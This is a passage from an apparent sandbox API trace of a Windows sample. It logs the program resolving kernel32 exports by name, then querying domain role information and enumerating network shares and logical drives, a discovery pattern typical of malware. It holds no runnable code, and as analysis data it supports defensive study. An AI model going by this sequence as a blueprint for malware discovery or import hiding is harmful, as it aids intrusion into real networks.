lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0040.797] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0040.797] lstrcpyA (in: lpString1=0x34e430, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0040.797] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0040.797] lstrcpyA (in: lpString1=0x34e430, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0040.797] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0040.797] lstrcpyA (in: lpString1=0x34e430, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0040.797] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0040.797] lstrcpyA (in: lpString1=0x34e430, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0040.797] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0040.798] lstrcpyA (in: lpString1=0x34e430, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0040.798] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0040.798] lstrcpyA (in: lpString1=0x34e430, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0040.798] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0040.798] lstrcpyA (in: lpString1=0x34e430, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0040.798] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0040.798] lstrcpyA (in: lpString1=0x34e430, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0040.798] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0040.798] lstrcpyA (in: lpString1=0x34e430, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0040.798] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0040.798] lstrcpyA (in: lpString1=0x34e430, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0040.798] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0040.798] lstrcpyA (in: lpString1=0x34e430, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0040.798] lstrlenA (lpString="CANCELIO") returned 8 [0040.798] lstrcpyA (in: lpString1=0x34e430, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0040.798] lstrlenA (lpString="CANCELIOEX") returned 10 [0040.798] lstrcpyA (in: lpString1=0x34e430, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0040.798] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0040.798] lstrcpyA (in: lpString1=0x34e430, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0040.798] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0040.798] lstrcpyA (in: lpString1=0x34e430, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0040.798] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0040.798] lstrcpyA (in: lpString1=0x34e430, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0040.798] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0040.798] lstrcpyA (in: lpString1=0x34e430, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0040.798] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0040.798] lstrcpyA (in: lpString1=0x34e430, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0040.798] lstrlenA (lpString="CHECKELEVATION") returned 14 [0040.798] lstrcpyA (in: lpString1=0x34e430, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0040.798] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0040.798] lstrcpyA (in: lpString1=0x34e430, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0040.798] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0040.798] lstrcpyA (in: lpString1=0x34e430, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0040.799] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0040.799] lstrcpyA (in: lpString1=0x34e430, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0040.799] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0040.799] lstrcpyA (in: lpString1=0x34e430, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0040.799] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0040.799] lstrcpyA (in: lpString1=0x34e430, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0040.799] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0040.799] lstrcpyA (in: lpString1=0x34e430, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0040.799] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0040.799] lstrcpyA (in: lpString1=0x34e430, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0040.799] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0040.799] lstrcpyA (in: lpString1=0x34e430, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0040.799] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0040.799] lstrcpyA (in: lpString1=0x34e430, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0040.799] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0040.799] lstrcpyA (in: lpString1=0x34e430, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0040.799] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0040.799] lstrcpyA (in: lpString1=0x34e430, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0040.799] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0040.799] lstrcpyA (in: lpString1=0x34e430, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0040.799] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0040.799] lstrcpyA (in: lpString1=0x34e430, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0040.799] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0040.799] lstrcpyA (in: lpString1=0x34e430, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0040.799] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0040.799] lstrcpyA (in: lpString1=0x34e430, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0040.799] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0040.799] lstrcpyA (in: lpString1=0x34e430, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0040.799] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0040.799] lstrcpyA (in: lpString1=0x34e430, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0040.799] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0040.799] lstrcpyA (in: lpString1=0x34e430, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0040.799] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0040.800] lstrcpyA (in: lpString1=0x34e430, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0040.800] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0040.800] lstrcpyA (in: lpString1=0x34e430, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0040.800] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0040.800] lstrcpyA (in: lpString1=0x34e430, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0040.800] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0040.800] lstrcpyA (in: lpString1=0x34e430, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0040.800] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0040.800] lstrcpyA (in: lpString1=0x34e430, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0040.800] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0040.800] lstrcpyA (in: lpString1=0x34e430, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0040.800] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0040.800] lstrcpyA (in: lpString1=0x34e430, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0040.800] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0040.800] lstrcpyA (in: lpString1=0x34e430, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0040.800] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0040.800] lstrcpyA (in: lpString1=0x34e430, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0040.800] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0040.800] lstrcpyA (in: lpString1=0x34e430, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0040.800] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0040.800] lstrcpyA (in: lpString1=0x34e430, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0040.800] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0040.800] lstrcpyA (in: lpString1=0x34e430, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0040.800] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0040.800] lstrcpyA (in: lpString1=0x34e430, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0040.800] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0040.800] lstrcpyA (in: lpString1=0x34e430, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0040.800] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0040.800] lstrcpyA (in: lpString1=0x34e430, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0040.800] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0040.800] lstrcpyA (in: lpString1=0x34e430, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0040.800] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0040.800] lstrcpyA (in: lpString1=0x34e430, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0040.801] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0040.801] lstrcpyA (in: lpString1=0x34e430, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0040.801] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0040.801] lstrcpyA (in: lpString1=0x34e430, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0040.801] lstrlenA (lpString="COPYCONTEXT") returned 11 [0040.801] lstrcpyA (in: lpString1=0x34e430, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0040.801] lstrlenA (lpString="COPYFILEA") returned 9 [0040.801] lstrcpyA (in: lpString1=0x34e430, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0040.801] lstrlenA (lpString="COPYFILEEXA") returned 11 [0040.801] lstrcpyA (in: lpString1=0x34e430, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0040.801] lstrlenA (lpString="COPYFILEEXW") returned 11 [0040.801] lstrcpyA (in: lpString1=0x34e430, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0040.801] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0040.801] lstrcpyA (in: lpString1=0x34e430, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0040.801] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0040.801] lstrcpyA (in: lpString1=0x34e430, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0040.801] lstrlenA (lpString="COPYFILEW") returned 9 [0040.801] lstrcpyA (in: lpString1=0x34e430, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0040.801] lstrlenA (lpString="COPYLZFILE") returned 10 [0040.801] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0040.801] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0040.801] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0040.801] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0040.801] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0040.801] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0040.801] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0040.801] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0040.801] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0040.801] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0040.801] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0040.801] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0040.801] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0040.801] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0040.802] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0040.802] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0040.802] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0040.802] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0040.802] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0040.802] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0040.802] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0040.802] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0040.802] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0040.802] lstrlenA (lpString="CREATEEVENTA") returned 12 [0040.802] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0040.802] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0040.802] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0040.802] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0040.802] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0040.802] lstrlenA (lpString="CREATEEVENTW") returned 12 [0040.802] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0040.802] lstrlenA (lpString="CREATEFIBER") returned 11 [0040.802] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0040.802] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0040.802] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0040.802] lstrlenA (lpString="CREATEFILEA") returned 11 [0040.802] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0040.802] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0040.802] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0040.802] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0040.802] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0040.802] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0040.802] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0040.802] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0040.802] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0040.802] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0040.802] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0040.803] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0040.803] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0040.803] lstrlenA (lpString="CREATEFILEW") returned 11 [0040.803] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0040.803] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0040.803] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0040.803] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0040.803] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0040.803] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0040.803] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0040.803] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0040.803] lstrcpyW (in: lpString1=0x100000, lpString2="none|" | out: lpString1="none|") returned="none|" [0040.803] DsRoleGetPrimaryDomainInformation () returned 0x0 [0040.805] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x13, lpNetResource=0x0, lphEnum=0x34f08c | out: lphEnum=0x34f08c*=0x66ccd8) returned 0x0 [0041.256] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x3000, flProtect=0x4) returned 0x360000 [0041.257] WNetEnumResourceW (in: hEnum=0x66ccd8, lpcCount=0x34f090, lpBuffer=0x360000, lpBufferSize=0x34f088 | out: lpcCount=0x34f090, lpBuffer=0x360000, lpBufferSize=0x34f088) returned 0x0 [0041.257] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x13, lpNetResource=0x360000, lphEnum=0x34f05c | out: lphEnum=0x34f05c*=0x660770) returned 0x0 [0041.259] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x3000, flProtect=0x4) returned 0x370000 [0041.259] WNetEnumResourceW (in: hEnum=0x660770, lpcCount=0x34f060, lpBuffer=0x370000, lpBufferSize=0x34f058 | out: lpcCount=0x34f060, lpBuffer=0x370000, lpBufferSize=0x34f058) returned 0x103 [0041.260] WNetCloseEnum (hEnum=0x660770) returned 0x0 [0041.260] WNetEnumResourceW (in: hEnum=0x66ccd8, lpcCount=0x34f090, lpBuffer=0x360000, lpBufferSize=0x34f088 | out: lpcCount=0x34f090, lpBuffer=0x360000, lpBufferSize=0x34f088) returned 0x0 [0041.260] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x13, lpNetResource=0x360000, lphEnum=0x34f05c | out: lphEnum=0x34f05c*=0xffffffff) returned 0x4b8 [0053.725] WNetEnumResourceW (in: hEnum=0x66ccd8, lpcCount=0x34f090, lpBuffer=0x360000, lpBufferSize=0x34f088 | out: lpcCount=0x34f090, lpBuffer=0x360000, lpBufferSize=0x34f088) returned 0x0 [0053.725] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x13, lpNetResource=0x360000, lphEnum=0x34f05c | out: lphEnum=0x34f05c*=0xffffffff) returned 0x4c6 [0053.730] WNetEnumResourceW (in: hEnum=0x66ccd8, lpcCount=0x34f090, lpBuffer=0x360000, lpBufferSize=0x34f088 | out: lpcCount=0x34f090, lpBuffer=0x360000, lpBufferSize=0x34f088) returned 0x103 [0053.730] WNetCloseEnum (hEnum=0x66ccd8) returned 0x0 [0053.730] GetLogicalDriveStringsW (in: nBufferLength=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0x5 [0053.730] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x360000 [0053.730] lstrlenA (lpString="kernel32.dll") returned 12 [0053.730] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76c20000 [0053.731] lstrcpyA (in: lpString1=0x34e410, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0053.731] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0053.731] lstrcpyA (in: lpString1=0x34e410, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0053.731] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0053.731] lstrcpyA (in: lpString1=0x34e410, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0053.731] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0053.731] lstrcpyA (in: lpString1=0x34e410, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0053.731] lstrlenA (lpString="ADDATOMA") returned 8 [0053.731] lstrcpyA (in: lpString1=0x34e410, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0053.731] lstrlenA (lpString="ADDATOMW") returned 8 [0053.731] lstrcpyA (in: lpString1=0x34e410, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0053.731] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0053.731] lstrcpyA (in: lpString1=0x34e410, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0053.731] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0053.731] lstrcpyA (in: lpString1=0x34e410, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0053.731] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0053.731] lstrcpyA (in: lpString1=0x34e410, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0053.731] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0053.731] lstrcpyA (in: lpString1=0x34e410, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0053.731] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0053.731] lstrcpyA (in: lpString1=0x34e410, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0053.731] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0053.731] lstrcpyA (in: lpString1=0x34e410, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0053.731] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0053.731] lstrcpyA (in: lpString1=0x34e410, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0053.731] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0053.731] lstrcpyA (in: lpString1=0x34e410, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0053.731] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0053.731] lstrcpyA (in: lpString1=0x34e410, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0053.731] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0053.732] lstrcpyA (in: lpString1=0x34e410, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0053.732] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0053.732] lstrcpyA (in: lpString1=0x34e410, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0053.732] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0053.732] lstrcpyA (in: lpString1=0x34e410, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0053.732] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0053.732] lstrcpyA (in: lpString1=0x34e410, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0053.732] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0053.732] lstrcpyA (in: lpString1=0x34e410, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0053.732] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0053.732] lstrcpyA (in: lpString1=0x34e410, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0053.732] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0053.732] lstrcpyA (in: lpString1=0x34e410, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0053.732] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0053.732] lstrcpyA (in: lpString1=0x34e410, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0053.732] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0053.732] lstrcpyA (in: lpString1=0x34e410, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0053.732] lstrlenA 